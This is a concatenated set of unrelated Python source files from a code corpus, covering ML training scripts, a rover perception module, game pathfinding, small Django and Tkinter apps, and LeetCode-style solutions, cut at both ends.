x_train_list,y_train,indexes=read_x_y_mapping(mappings,basedirs,'train',False,args)\r\n    x_vali_list,y_vali,_=read_x_y_mapping(mappings,basedirs,'vali',False,args)\r\n    x_vali=load_all_valid(x_vali_list,args)\r\n    try:\r\n        model.fit_generator(\r\n            data_generator(True,x_train_list,y_train,args,indexes),\r\n            validation_data=(x_vali,y_vali),\r\n            validation_steps=1,\r\n            steps_per_epoch=(15),\r\n            epochs=args.epochs,\r\n            callbacks=[cblog,cbtb,cbckpt],\r\n            class_weight=([0.092,0.96,0.94] if not args.balance else [1,1,1])\r\n        )\r\n        model.save('./models/cnn_'+nowtime+'.h5')\r\n        model.save_weights('./models/cnn_'+nowtime+'_weight.h5')\r\n        jst=model.to_json()\r\n        with open('./models/cnn_'+nowtime+'_json.h5','w') as file:\r\n            file.write(jst)\r\n        \r\n        y_pred=model.predict(x_vali)\r\n        y_pred=np.argmax(y_pred,axis=1)\r\n        y_ture=np.argmax(y_vali,axis=1)\r\n        labels=['negative','positive','polluted']\r\n        plot_confusion_matrix(y_ture,y_pred,labels)\r\n        evaluate(y_ture,y_pred)\r\n    except KeyboardInterrupt:\r\n        os.system(\"sh purge.sh \"+nowtime)\r\n\r\ndef test(args):\r\n    model=load_model(args.model)\r\n    x_vali_list,y_vali,_=read_x_y_mapping(mappings,basedirs,'vali',False,args)\r\n    x_vali=load_all_valid(x_vali_list,args)\r\n    y_pred=model.predict(x_vali)\r\n    y_pred=np.argmax(y_pred,axis=1)\r\n    y_ture=np.argmax(y_vali,axis=1)\r\n    labels=['negative','positive','polluted']\r\n    plot_confusion_matrix(y_ture,y_pred,labels)\r\n    evaluate(y_ture,y_pred)\r\n\r\nif __name__==\"__main__\":\r\n    import argparse\r\n    parser=argparse.ArgumentParser(description=\"CNN on TB\")\r\n    parser.add_argument('--tstrain',action='store_true',help='Training mode (positove first)')\r\n    parser.add_argument('--train',action='store_true',help='Training mode')\r\n    parser.add_argument('--test',action='store_true',help='Testing mode')\r\n    parser.add_argument('--dev',action='store_true',help='Dev mode')\r\n    parser.add_argument('-m','--model',type=str,help='The model you want to test on')\r\n    parser.add_argument('--width',type=int,default=420)\r\n    parser.add_argument('--height',type=int,default=131)\r\n    parser.add_argument('--batch',type=int,default=32,help='Batch size')\r\n    parser.add_argument('--epochs',type=int,default=200,help='#Epochs')\r\n    parser.add_argument('--balance',action='store_true',help='Balance data by undersampling the majiroty data')\r\n    parser.add_argument('--n_labels',type=int,default=3)\r\n    args=parser.parse_args()\r\n    config_environment(args)\r\n    if args.train:\r\n        print(\"TS Training mode\")\r\n        if args.balance:\r\n            args.batch-=(args.batch%3)\r\n        train(args)\r\n    if args.tstrain:\r\n        print(\"Training mode\")\r\n        if args.balance:\r\n            args.batch-=(args.batch%3)\r\n        model,nowtime=train_on_positive(args)\r\n        train_on_all(args,model,nowtime)\r\n    if args.test:\r\n        print(\"Testing mode\")\r\n        test(args)\r\n    if args.dev:\r\n        print(\"Dev mode\")\r\n","sub_path":"saved_do_not_del_src/cnn_2019-03-20-14:44.py","file_name":"cnn_2019-03-20-14:44.py","file_ext":"py","file_size_in_byte":10932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"130570592","text":"\nimport speech_recognition as sr\n\n\ndef EscreveArquivo(mensagem):\n    try:\n        with open(\"transcricao_audio.txt\", \"a\") as file:\n            file.write(str(mensagem) + \"\\n\")\n            file.close()\n    except:\n        print(\"Erro na Escrita da \" + mensagem)\n\n\nr = sr.Recognizer()\nmensagem = \"\"\n\nwhile(mensagem != \"desligar\"):\n    with sr.Microphone() as source:\n        r.adjust_for_ambient_noise(source)\n        print(\"Diga Algo:\")\n        audio = r.listen(source)\n        print(\"Hello\")\n\n\n    try:\n        mensagem = r.recognize_google(audio, language='pt-BR')\n        print(\"Você falou: \" + mensagem)\n    except sr.UnknownValueError:\n        print(\"Google Speech Recognition não pode entender o que você falou!\")\n    except sr.RequestError as e:\n        print(\"Não foram obtidos resultados do  Google Speech Recognition service; {0}\".format(e))\n\n    EscreveArquivo(mensagem)","sub_path":"voice_recognizer.py","file_name":"voice_recognizer.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"626594679","text":"from django.shortcuts import get_object_or_404, render\nfrom .models import Event\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\n\n\ndef index(request):\n    events = Event.objects.all()\n    paginator = Paginator(events, 2)\n    page = request.GET.get('page')\n    paged_event = paginator.get_page(page)\n\n    context = {\n        'events': paged_event\n    }\n    return render(request, 'events/events.html', context)\n\n\ndef event(request, event_id):\n    event = get_object_or_404(Event, pk=event_id)\n    event_context = {\n        'event': event,\n    }\n    return render(request, 'events/event.html', event_context)\n\n","sub_path":"randr/events/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"190902959","text":"class Solution:\n    # Sliding Window\n    def maxSatisfied(self, customers: List[int], grumpy: List[int], minutes: int) -> int:\n        start, maxSatisfied, currSatisfied = 0, 0, 0\n        nonGrumpySum = 0\n        for i in range(len(customers)):\n            # use sliding window to find the best place to apply \"minutes\"\n            if grumpy[i] == 1:\n                currSatisfied += customers[i]\n            if i - start + 1 > minutes:\n                if grumpy[start] == 1:\n                    currSatisfied -= customers[start]\n                start += 1\n            maxSatisfied = max(maxSatisfied, currSatisfied)\n\n            # keep track non-grumpy value\n            if grumpy[i] == 0:\n                nonGrumpySum += customers[i]\n        return nonGrumpySum + maxSatisfied\n","sub_path":"1052.GrumpyBookstoreOwner.py","file_name":"1052.GrumpyBookstoreOwner.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"286253723","text":"\n\"\"\"Create an application instance or show a QWebEngineView.\n    A very recommendable read is here:\n        https://hackingandslacking.com/demystifying-flasks-application-context-c7bd31a53817\"\"\"\n\n\n# Include dependencies. @see https://stackoverflow.com/a/56999264\ndef include():\n    from os import getenv\n    from pathlib import Path\n    from sys import path, version\n\n    if __name__ == '__main__' or 'gunicorn' in getenv(key='_') or 'uwsgi' in getenv(key='_'):\n        path.append(Path.cwd().joinpath('__pypackages__', version[:3], 'lib').__str__())\n        if not getenv(key='FLASK_SKIP_DOTENV'):\n            from dotenv import load_dotenv\n\n            load_dotenv(dotenv_path='.env')\n    if '.' in __name__:\n        path.append(Path.cwd().joinpath('src').__str__())\n\n\ndef load(config_object=None):\n    include()\n    from util.main import app, boot\n    boot(conf_obj=config_object)\n\n    return app\n\n\napp = load()\n\nif __name__ == '__main__':\n    from util.ui import UI\n    UI().run(app=app)\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"119519888","text":"import sys\nimport copy\n\nsys.path.append(\"../simpleai\")\nsys.path.append(\"../PythonAdvanced2BA/AIproject\")\n\nfrom simpleai.search import astar, SearchProblem\nfrom kingandassassins import KingAndAssassinsClient, BOARD, KingAndAssassinsState\n\nDIRECTIONS = KingAndAssassinsState.DIRECTIONS\n\n\nclass KingPath(SearchProblem):\n    \"\"\"\n    Searches for the shortest path for the king to arrive at his castle, this does not take into account other pieces\n    on the board that could block the king.\n    \"\"\"\n\n    def actions(self, state):\n        # If the king is on the castle door, the only action is to enter...\n        if state == (2, 2):\n            return [('move', 2, 2, 'N')]\n        elif state == (4, 1):\n            return [('move', 4, 1, 'W')]\n\n        actions = []\n\n        # Try moves in all 4 directions\n        for d, move in DIRECTIONS.items():\n            s = (state[0] + move[0], state[1] + move[1])\n            if self._is_valid(s):\n                actions.append(('move', state[0], state[1], d))\n        return actions\n\n    def result(self, state, action):\n        return (state[0] + DIRECTIONS[action[3]][0], state[1] + DIRECTIONS[action[3]][1])\n\n    def is_goal(self, state):\n        return state == (1, 2) or state == (4, 0)\n\n    def cost(self, state, action, state2):\n        return 1\n\n    def heuristic(self, state):\n        return min(manathan_distance(state, (1, 2)), manathan_distance(state, (4, 0)))\n\n    def _is_valid(self, state):\n        if state[0] < 0 or state[0] > 9 or state[1] < 0 or state[1] > 9:\n            return False\n        if BOARD[state[0]][state[1]] == \"R\":\n            return False\n        return True\n\n\nclass MaximizeProblem(SearchProblem):\n\n    def score(self, state, action, state2):\n        raise NotImplementedError\n\n\nclass MaximizeNode:\n\n    def __init__(self, state, parent=None, action=None, cost=0, score=0, problem=None,\n                 depth=0):\n        self.state = state\n        self.parent = parent\n        self.action = action\n        self.cost = cost\n        self.score = score\n        self.problem = problem or parent.problem\n        self.depth = depth\n\n    def expand(self, local_search=False):\n        '''Create successors.'''\n        new_nodes = []\n        for action in self.problem.actions(self.state):\n            new_state = self.problem.result(self.state, action)\n            cost = self.problem.cost(self.state, action, new_state)\n            score = self.problem.score(self.state, action, new_state)\n            nodefactory = self.__class__\n            new_nodes.append(nodefactory(state=new_state,\n                                         parent=None if local_search else self,\n                                         problem=self.problem,\n                                         action=action,\n                                         cost=self.cost + cost,\n                                         score=self.score + score,\n                                         depth=self.depth + 1))\n        return new_nodes\n\n    def path(self):\n        '''Path (list of nodes and actions) from root to this node.'''\n        node = self\n        path = []\n        while node:\n            path.append((node.action, node.state))\n            node = node.parent\n        return list(reversed(path))\n\n    def __eq__(self, other):\n        return isinstance(other, MaximizeNode) and self.state == other.state\n\n    def __lt__(self, other):\n        return isinstance(other, MaximizeNode) and self.score < other.score\n\n    def __gt__(self, other):\n        return isinstance(other, MaximizeNode) and self.score > other.score\n\n\ndef maximize(problem, cost_limit, fringe=None, node_factory=MaximizeNode):\n    n_processed = n_fringe = n_replaced = 0\n    fringe = fringe or []\n    reach = []\n    memory = set()\n    initial_node = node_factory(state=problem.initial_state,\n                                problem=problem)\n    fringe.append(initial_node)\n\n    while fringe:\n        node = fringe.pop()\n        memory.add(node.state)\n\n        if node.cost < cost_limit:\n            expanded = node.expand()\n\n            for n in expanded:\n                n_processed += 1\n\n                if n.cost > cost_limit:\n                    expanded.remove(n)\n                    continue\n\n                if n.depth > 2 and n.cost <= 1:\n                    continue\n\n                # This is very expensive :(\n                others = [x for x in fringe if x == n]\n\n                assert len(others) in (0, 1)\n                if n.state not in memory and len(others) == 0:\n                    fringe.append(n)\n                    n_fringe += 1\n                elif len(others) > 0 and n.cost < others[0].cost:\n                    fringe.remove(others[0])\n                    fringe.append(n)\n                    n_replaced += 1\n\n        else:\n            reach.append(node)\n\n    print(\"Processed: \", n_processed, \"\\nFringe:\", n_fringe, \"\\nReplaced:\", n_replaced)\n\n    return max(reach) if len(reach) > 0 else initial_node\n\n\nclass KingTurn(MaximizeProblem):\n    \"\"\"\n    Searches for the shortest path for the king to arrive at his castle, this does not take into account other pieces\n    on the board that could block the king.\n    \"\"\"\n\n    def __init__(self, initial_state=None):\n        self.king = None\n        self.knights = None\n        self.citizens = None\n        self.assassins = None\n        super().__init__(initial_state)\n\n    def actions(self, state):\n        self.king, self.knights, self.citizens, self.assassins = self._pawn_positions(state.people)\n\n        actions = []\n\n        if state.action_points['king'] > 0:\n            # If the king is on the castle door, the only action is to enter...\n            if self.king == (2, 2):\n                return [('move', 2, 2, 'N')]\n            elif self.king == (4, 1):\n                return [('move', 4, 1, 'W')]\n\n            # Try to move the king in all 4 directions\n            for d, move in DIRECTIONS.items():\n                k = (self.king[0] + move[0], self.king[1] + move[1])\n                # print(\"King from\", self.king, \"to\", k, \"is\", \"valid\" if self._is_king_valid(state, k) else \"not valid\")\n                if self._is_king_valid(state, k):\n                    actions.append(('move', self.king[0], self.king[1], d))\n\n        if state.action_points['knights'] > 0:\n            # Try to move the knights\n            for knight in self.knights:\n                for d, move in DIRECTIONS.items():\n                    k = (knight[0] + move[0], knight[1] + move[1])\n                    # print(\"Knight from\", knight, \"to\", k, \"is\",\n                    #       \"valid\" if self._is_knight_valid(state, k) else \"not valid\")\n                    if self._is_knight_valid(state, k):\n                        actions.append(('move', knight[0], knight[1], d))\n\n        # print(\"ACTIONS POSSIBLE: \", actions)\n        return actions\n\n    def result(self, state, action):\n        s = state.duplicate()\n        x, y = (action[1], action[2])\n        dx, dy = tuple(DIRECTIONS[action[3]])\n        p = s.people[x][y]\n        s.people[x][y] = None\n        s.people[x + dx][y + dy] = p\n\n        moved = state.people[action[1]][action[2]]\n        if moved == \"knight\":\n            s.action_points['knights'] -= 1\n        else:\n            s.action_points['king'] -= 1\n        # s.prettyprint()\n        return s\n\n    def cost(self, state, action, state2=None):\n        moved = state.people[action[1]][action[2]]\n\n        if moved == \"knight\":\n            x, y = (action[1] + DIRECTIONS[action[3]][0], action[2] + DIRECTIONS[action[3]][1])\n            if BOARD[x][y] == \"R\":\n                return 2\n        return 1\n\n    def score(self, state, action, state2):\n        moved = state.people[action[1]][action[2]]\n\n        if moved == \"king\":\n            king = (self.king[0] + DIRECTIONS[action[3]][0], self.king[1] + DIRECTIONS[action[3]][1])\n\n            path_result = astar(KingPath(initial_state=(action[1], action[2])))\n            if action == path_result.path()[0][0]:\n                print(\"YES, good job...\")\n                return 5\n\n            d1 = min(manathan_distance(self.king, (1, 2)), manathan_distance(self.king, (4, 0)))\n            d2 = min(manathan_distance(king, (1, 2)), manathan_distance(king, (4, 0)))\n            score = 3 if d1 - d2 > 0 else -1\n            return score\n\n        else:\n            knight = (action[1] + DIRECTIONS[action[3]][0], action[2] + DIRECTIONS[action[3]][1])\n            d1 = manathan_distance((action[1], action[2]), self.king)\n            d2 = manathan_distance(knight, self.king)\n            score = 1 if d1 - d2 > 0 else 0\n            return score\n\n    def _is_king_valid(self, state, king):\n        # Check king\n        if king[0] < 0 or king[0] > 9 or king[1] < 0 or king[1] > 9:\n            return False\n        if BOARD[king[0]][king[1]] == \"R\":\n            return False\n        if state.people[king[0]][king[1]] is not None:\n            return False\n\n        return True\n\n    def _is_knight_valid(self, state, knight):\n        # Check king\n        if knight[0] < 0 or knight[0] > 9 or knight[1] < 0 or knight[1] > 9:\n            # print(\"out of board\")\n            return False\n        if state.people[knight[0]][knight[1]] is not None:\n            # print(\"occupied\", state.people[knight[0]][knight[1]])\n            return False\n\n        return True\n\n    def _pawn_positions(self, state):\n        king = None\n        knights = []\n        citizens = []\n        assassins = []\n\n        for x, row in enumerate(state):\n            # print(\"\")\n            for y, p in enumerate(row):\n                # print(p)\n                if p is None:\n                    continue\n                elif p == \"knight\":\n                    knights.append((x, y))\n                elif p == \"king\":\n                    king = (x, y)\n                elif p == \"assassin\":\n                    assassins.append((x, y))\n                else:\n                    citizens.append((x, y))\n\n        return (king, knights, citizens, assassins)\n\n\ndef manathan_distance(p1, p2):\n    return abs(p1[0] - p2[0]) + abs(p1[1] - p2[1])\n","sub_path":"pathfinding.py","file_name":"pathfinding.py","file_ext":"py","file_size_in_byte":10042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"618883422","text":"import numpy as np\nimport cv2\n\n# Identify pixels above the threshold\n# Threshold of RGB > 160 does a nice job of identifying ground pixels only\ndef color_thresh(img, rgb_thresh=(160, 160, 160)):\n    # Create an array of zeros same xy size as img, but single channel\n    color_select = np.zeros_like(img[:,:,0])\n    # Require that each pixel be above all three threshold values in RGB\n    # above_thresh will now contain a boolean array with \"True\"\n    # where threshold was met\n    above_thresh = (img[:,:,0] > rgb_thresh[0]) \\\n                & (img[:,:,1] > rgb_thresh[1]) \\\n                & (img[:,:,2] > rgb_thresh[2])\n    # Index the array of zeros with the boolean array and set to 1\n    color_select[above_thresh] = 1\n    # Return the binary image\n    return color_select\n\n# Define a function to convert to rover-centric coordinates\ndef rover_coords(binary_img):\n    # Identify nonzero pixels\n    ypos, xpos = binary_img.nonzero()\n    # Calculate pixel positions with reference to the rover position being at the \n    # center bottom of the image.  \n    x_pixel = np.absolute(ypos - binary_img.shape[0]).astype(np.float)\n    y_pixel = -(xpos - binary_img.shape[0]).astype(np.float)\n    return x_pixel, y_pixel\n\n\n# Define a function to convert to radial coords in rover space\ndef to_polar_coords(x_pixel, y_pixel):\n    # Convert (x_pixel, y_pixel) to (distance, angle) \n    # in polar coordinates in rover space\n    # Calculate distance to each pixel\n    dist = np.sqrt(x_pixel**2 + y_pixel**2)\n    # Calculate angle away from vertical for each pixel\n    angles = np.arctan2(y_pixel, x_pixel)\n    return dist, angles\n\n# Define a function to apply a rotation to pixel positions\ndef rotate_pix(xpix, ypix, yaw):\n    # TODO:\n    # Convert yaw to radians\n    # Apply a rotation\n    yaw_rad = yaw * np.pi / 180\n    xpix_rotated = xpix * np.cos(yaw_rad) - ypix * np.sin(yaw_rad)\n    ypix_rotated = xpix * np.sin(yaw_rad) + ypix * np.cos(yaw_rad)\n    # Return the result  \n    return xpix_rotated, ypix_rotated\n\n# Define a function to perform a translation\ndef translate_pix(xpix_rot, ypix_rot, xpos, ypos, scale): \n    # TODO:\n    # Apply a scaling and a translation\n    scale = 10\n    # Perform translation and convert to integer since pixel values can't be float\n    xpix_translated = np.int_(xpos + (xpix_rot / scale))\n    ypix_translated = np.int_(ypos + (ypix_rot / scale))\n    # Return the result  \n    return xpix_translated, ypix_translated\n\n# Define a function to apply rotation and translation (and clipping)\n# Once you define the two functions above this function should work\ndef pix_to_world(xpix, ypix, xpos, ypos, yaw, world_size, scale):\n    # Apply rotation\n    xpix_rot, ypix_rot = rotate_pix(xpix, ypix, yaw)\n    # Apply translation\n    xpix_tran, ypix_tran = translate_pix(xpix_rot, ypix_rot, xpos, ypos, scale)\n    # Perform rotation, translation and clipping all at once\n    x_pix_world = np.clip(np.int_(xpix_tran), 0, world_size - 1)\n    y_pix_world = np.clip(np.int_(ypix_tran), 0, world_size - 1)\n    # Return the result\n    return x_pix_world, y_pix_world\n\n# Define a function to perform a perspective transform\ndef perspect_transform(img, src, dst):\n           \n    M = cv2.getPerspectiveTransform(src, dst)\n    warped = cv2.warpPerspective(img, M, (img.shape[1], img.shape[0]))# keep same size as input image\n    \n    return warped\n\ndef rock_thresh(img, boundary =([100,100,0], [200,200,70])):\n    \"\"\"apply thresholding to find the rock sample\"\"\"\n    lower = np.array(boundary[0], dtype = \"uint8\")\n    upper = np.array(boundary[1], dtype = \"uint8\")\n    # create mask\n    mask = cv2.inRange(img, lower, upper)\n    # apply image masking\n    output = cv2.bitwise_and(img, img, mask = mask)\n    # convert result to gray\n    output = cv2.cvtColor(output, cv2.COLOR_RGB2GRAY)\n    # create temp image for our rock\n    zeros = np.zeros_like(img[:,:,0])\n    try:\n        # get the closest coordinate of the transformed rock\n        closest_x = max(output.nonzero()[1])\n        closest_y = max(output.nonzero()[0])\n        # make the rock look bigger instead of just dot\n        zeros[closest_y:closest_y+5,closest_x:closest_x+5] = 1\n        return zeros\n    except:\n        #if no rock is in image, return zeros\n        return zeros\n# Apply the above functions in succession and update the Rover state accordingly\ndef perception_step(Rover):\n    # Perform perception steps to update Rover()\n    # TODO: \n    # NOTE: camera image is coming to you in Rover.img\n    # 1) Define source and destination points for perspective transform\n    dst_size = 5 \n    bottom_offset = 6\n    source = np.float32([[14, 140], [301 ,140],[200, 96], [118, 96]])\n    destination = np.float32([[Rover.img.shape[1]/2 - dst_size, Rover.img.shape[0] - bottom_offset],\n                  [Rover.img.shape[1]/2 + dst_size, Rover.img.shape[0] - bottom_offset],\n                  [Rover.img.shape[1]/2 + dst_size, Rover.img.shape[0] - 2*dst_size - bottom_offset], \n                  [Rover.img.shape[1]/2 - dst_size, Rover.img.shape[0] - 2*dst_size - bottom_offset],\n                  ])\n    # 2) Apply perspective transform\n    warped_terrain = perspect_transform(Rover.img, source, destination)\n\n    # 3) Apply color threshold to identify navigable terrain/obstacles/rock samples\n    thresholded_navigable = color_thresh(warped_terrain, rgb_thresh=(160, 160, 160))\n\n    # get index of the navigable terrain\n    not_obstacle_index = thresholded_navigable.nonzero()\n    # create obstacle image, which is the reverse of navigable terrain (thresholded)\n    obstacle = np.ones_like(Rover.img[:,:,0])\n    obstacle[not_obstacle_index] = 0\n\n    # detect rock if it exist\n    rock = rock_thresh(warped_terrain)\n\n    # 4) Update Rover.vision_image (this will be displayed on left side of screen)\n\n    # update Rover.vision_image[:,:,0] = obstacle color-thresholded binary image\n    Rover.vision_image[:,:,0] = obstacle\n\n    # update Rover.vision_image[:,:,1] = rock_sample color-thresholded binary image\n    Rover.vision_image[:,:,1] = rock\n\n    # update Rover.vision_image[:,:,2] = navigable terrain color-thresholded binary image\n    Rover.vision_image[:,:,2] = thresholded_navigable\n\n    # 5) Convert map image pixel values to rover-centric coords\n    navigable_xpix, navigable_ypix = rover_coords(thresholded_navigable)\n    obstacle_xpix, obstacle_ypix = rover_coords(obstacle)\n    rock_xpix, rock_ypix = rover_coords(rock)\n\n    # 6) Convert rover-centric pixel values to world coordinates\n    world_size = 200\n    scale = 10\n    navigable_xpix_world, navigable_ypix_world = pix_to_world(navigable_xpix, navigable_ypix, Rover.pos[0], Rover.pos[1], \n                                                      Rover.yaw, world_size, scale)\n    obstacle_xpix_world, obstacle_ypix_world = pix_to_world(obstacle_xpix, obstacle_ypix, Rover.pos[0], Rover.pos[1], \n                                                      Rover.yaw, world_size, scale)\n    rock_xpix_world, rock_ypix_world = pix_to_world(rock_xpix, rock_ypix, Rover.pos[0], Rover.pos[1], \n                                                      Rover.yaw, world_size, scale)\n\n    # 7) Update Rover worldmap (to be displayed on right side of screen)\n    Rover.worldmap[obstacle_ypix_world, obstacle_xpix_world, 0] += 1\n    Rover.worldmap[rock_ypix_world, rock_xpix_world, 1] += 1\n    Rover.worldmap[navigable_ypix_world, navigable_xpix_world, 2] += 1\n\n\n    # 8) Convert rover-centric pixel positions to polar coordinates\n    # Update Rover pixel distances and angles\n        # Rover.nav_dists = rover_centric_pixel_distances\n        # Rover.nav_angles = rover_centric_angles\n    dist, angles = to_polar_coords(navigable_xpix, navigable_ypix)\n    Rover.nav_dists = dist\n    Rover.nav_angles = angles\n      \n    \n    return Rover","sub_path":"RoboND-Rover-Project/code/perception.py","file_name":"perception.py","file_ext":"py","file_size_in_byte":7759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"272737671","text":"from collections import deque\nfrom threading import Lock, Thread\nimport numpy as np\nimport time\nimport myo\n#from IIRFilter import LowPassIIR\n\n\n\nclass BufferPlus(myo.DeviceListener):\n    #An instance of this class constantly collects new EMG data in a queue (buffer)\n    def __init__(self, buffer_len):\n        self.n = buffer_len\n        self.lock = Lock()\n        self.mav_data_queue = deque(maxlen=self.n)\n        # self.y = 0\n        # self.a = 24/25*np.ones([8,1])\n        self.y = np.zeros(8)\n        self.a = 24/25\n        self.mav_data_queue = deque(maxlen=self.n)\n\n    def filter(self,x):\n        # self.y = (1-self.a[self.i]) * x + self.a[self.i] * self.y\n        self.y = (1 - self.a) * x + self.a * self.y\n        return self.y\n\n    # def get_mav_data(self,in_data):\n        # mav_data = []\n        # #num_splitarray = np.linspace(0,496,64,dtype=int) #(step = 7, num = 64)\n\n        # with self.lock:\n            # # compute the MAV data\n            # #for j in num_splitarray:\n            # for self.i in range(0,8):\n\n                # col_data = in_data[:,self.i]\n                # abs_data = np.absolute(col_data)\n                \n                # # filter\n                # for n in range(0, len(abs_data)):\n                    # abs_data[n] = self.filter(abs_data[n])\n                # mav_data.append(list(abs_data))\n\n        # return mav_data\n        \n    def get_mav_data(self, in_data):  # 512*8\n        mav_data = np.zeros((0,8))  # 8 columns\n        for sample in in_data:\n            aaa = self.filter(np.array(abs(sample)))\n            mav_data = np.row_stack((mav_data, aaa))\n        return mav_data\n\n","sub_path":"myo_ecn/listenersPlus.py","file_name":"listenersPlus.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"624573467","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\noracle_url = 'http://127.0.0.1:20632'\nheaders = {'Content-type': 'application/json'}\nmethod_recharge = \"sendrechargetransaction\"\nmethod_blk_log = \"getwithdrawtransactionsbyheight\"\nmethod_exist_txs = \"getexistdeposittransactions\"\nmethod_blk_num = \"getblockcount\"\nmethod_tx_info = \"getwithdrawtransaction\"\n\nkey_crosschainassets = \"crosschainassets\"\nkey_crosschainaddress = \"crosschainaddress\"\nkey_crosschainamount = \"crosschainamount\"\nkey_outputamount = \"outputamount\"\nkey_txid = 'txid'","sub_path":"tests/sidechain_eth/case/orcal_config.py","file_name":"orcal_config.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"469567261","text":"#exercise 06-03\n'''\nstudent name:dante\nclass:net182\nstudent id:201810701580051\n'''\nfrom tkinter import *\nroot = Tk()\n\nuser_text = Entry(root)\nuser_text.pack()\n\nlabel1 = Label(root,text = '')\nlabel1.pack()\n\ndef calcC():\n    num = float(Entry.get(user_text))\n    new_temp = (num - 32)/1.8\n    label1.config(text=str(new_temp))\ndef calcF():\n    num = float(Entry.get(user_text))\n    new_temp = num*1.8+32\n    label1.config(text=str(new_temp))\n\n\nbutton1 = Button(root,text = 'celsius',fg='red',command = calcC)\nbutton2 = Button(root,text = 'Fahrenheit',fg='green',command = calcF)\nbutton1.pack(side = LEFT)\nbutton2.pack(side = LEFT)\nroot.mainloop()\n","sub_path":"Python_OOP/Exercise/Exercise 06/201810701580051 - Dante/06-03.py","file_name":"06-03.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"622135468","text":"# Takes a list of integers and finds two numbers that add up to a target value.\n\noutput = list()\nnums = list()\nnumLength = int(input(\"How many numbers are in the number list: \"))\ntarget = int(input(\"What is the Target Integer: \"))\nn = 0\ni = 0\np = 0\n\nwhile n < numLength :\n    nums.append(int(input(\"Enter a number in the number list: \")))\n    n += 1\nprint(\"----------------------------\")\n\nwhile i < numLength :\n    while p < numLength :\n        if nums[i] + nums[p] == target :\n            output.append(i)\n            output.append(p)\n            print(\"The indices are: \" + str(output[0]) + \" and \" + str(output[1]))\n        p += 1\n    i += 1","sub_path":"Math/Two-Sum/Two-Sum.py","file_name":"Two-Sum.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"568936847","text":"from typing import List\n\n\nclass TreeNode:\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\n\nclass Solution:\n    def binary_tree_paths(self, root: TreeNode) -> List[str]:\n        paths = []\n\n        def deep(root, path):\n            if not root:\n                return\n            path = path + [str(root.val)]\n            if not root.left and not root.right:\n                return paths.append(\"->\".join(path))\n            deep(root.left, path)\n            deep(root.right, path)\n\n        deep(root, [])\n        return paths\n","sub_path":"0257.binary_tree_paths/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"138446224","text":"import math\r\nimport torch\r\nimport sys\r\nimport torch.nn as nn\r\nfrom model import AutoEncoder\r\nimport matplotlib.pyplot as plt\r\nfrom torch.autograd import Variable\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.optim import Adam, lr_scheduler, SGD\r\nfrom torchvision import datasets, transforms\r\n\r\ndef load_data(data_dir, batch_size):\r\n    \"\"\" Method returning a data loader for labeled data \"\"\"\r\n    transform = transforms.Compose([\r\n        transforms.ToTensor(),\r\n        transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\r\n        ]\r\n    )\r\n    data = datasets.ImageFolder(f'{data_dir}/unsupervised', transform=transform)\r\n    data_loader = DataLoader(\r\n        data,\r\n        batch_size=batch_size,\r\n        shuffle=True,\r\n        num_workers=0\r\n    )\r\n    return data_loader\r\n\r\n\r\ndef find_lr( model, data_loader, device, init_value = 1e-8, final_value=10, beta = 0.98):\r\n    num = len(data_loader)-1\r\n    mult = (final_value / init_value) ** (1/num)\r\n    lr = init_value\r\n    optimizer.param_groups[0]['lr'] = lr\r\n    avg_loss = 0.\r\n    best_loss = 0.\r\n    batch_num = 0\r\n    losses = []\r\n    log_lrs = []\r\n\r\n    model.train()\r\n    for i, (images, _) in enumerate(data_loader):\r\n        batch_num += 1\r\n\r\n        images = Variable(images.to(device))\r\n\r\n        outputs = model(images)\r\n        loss = loss_fn(outputs, images)\r\n\r\n        train_loss = loss.cpu().data * images.size(0)\r\n\r\n        avg_loss = beta * avg_loss + (1-beta) * train_loss\r\n        smoothed_loss = avg_loss / (1 - beta**batch_num)\r\n\r\n        if batch_num > 1 and smoothed_loss > 4 * best_loss:\r\n            return log_lrs, losses\r\n        if smoothed_loss < best_loss or batch_num==1:\r\n            best_loss = smoothed_loss\r\n\r\n        losses.append(smoothed_loss)\r\n        log_lrs.append(math.log10(lr))\r\n\r\n        optimizer.zero_grad()\r\n        loss.backward()\r\n        optimizer.step()\r\n\r\n        lr *= mult\r\n        optimizer.param_groups[0]['lr'] = lr\r\n        sys.stdout.write('\\r[ %d/%d] LR: %f' % (i, len(data_loader), lr))\r\n\r\n    return log_lrs, losses\r\n\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\nmodel = AutoEncoder().to(device)\r\noptimizer = Adam(model.parameters(), lr=0.01, weight_decay=0.0001)\r\n# optimizer = AdamW(model.parameters(), lr=0.01, weight_decay=0.0001)\r\n# optimizer = SGD(model.parameters(), lr=0.05)\r\n# loss_fn = 